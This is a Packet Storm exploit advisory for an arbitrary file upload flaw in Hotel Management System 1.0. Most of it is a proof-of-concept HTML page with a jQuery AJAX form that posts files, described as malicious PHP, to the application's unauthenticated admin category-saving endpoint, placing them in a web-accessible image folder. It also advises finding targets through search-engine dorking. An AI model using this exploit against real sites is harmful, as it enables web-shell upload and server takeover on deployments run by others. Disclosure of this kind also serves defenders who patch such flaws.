Hotel Management System version 1.0 suffers from an arbitrary file upload vulnerability.
819229d02bda3fa9cbbbd2bfee66fb703e22843e42837d98eb5585d72f9f8570=============================================================================================================================================
| # Title : Hotel Management System 1.0 Remote File Upload Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) |
| # Vendor : https://www.sourcecodester.com/sites/default/files/download/oretnom23/hotel-management-system-using-php.zip |
=============================================================================================================================================
poc :
[+] Dorking İn Google Or Other Search Enggine.
[+] This HTML page is designed to remotely upload malicious PHP files directly.
[+] Line 23 set url of target.
[+] The path to upload the files : https://127.0.0.1/hotel/assets/img/
[+] Save Code as html :
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Category Management</title>
</head>
<body>
<div class="container-fluid">
<form id="manage-category" enctype="multipart/form-data">
<input type="hidden" name="id">
<div class="form-group">
<label for="img" class="control-label">Ev!L Image</label>
<input type="file" name="img" id="img" class="form-control form-control-sm rounded-0" accept="image/*" onchange="displayImg(this, $(this))">
</div>
<button type="submit" class="btn btn-primary">Send</button>
</form>
</div>
</tbody>
</table>
</div>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script>
function displayImg(input, _this) {
if (input.files && input.files[0]) {
var reader = new FileReader();
reader.onload = function (e) {
$('#cimg').attr('src', e.target.result);
}
reader.readAsDataURL(input.files[0]);
}
}
$('#manage-category').submit(function(e){
e.preventDefault();
$.ajax({
url: 'https://127.0.0.1/hotel/admin/ajax.php?action=save_category',
data: new FormData($(this)[0]),
cache: false,
contentType: false,
processData: false,
method: 'POST',
type: 'POST',
success: function(resp){
if (resp == 1) {
alert("Data successfully added");
setTimeout(function(){
location.reload();
}, 1500);
}
}
});
});
$('.edit_cat').click(function(){
var cat = $('#manage-category');
cat.get(0).reset();
$('#cimg').attr('src', '../assets/img/' + $(this).attr('data-cover_img'));
});
</script>
</body>
</html>
Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed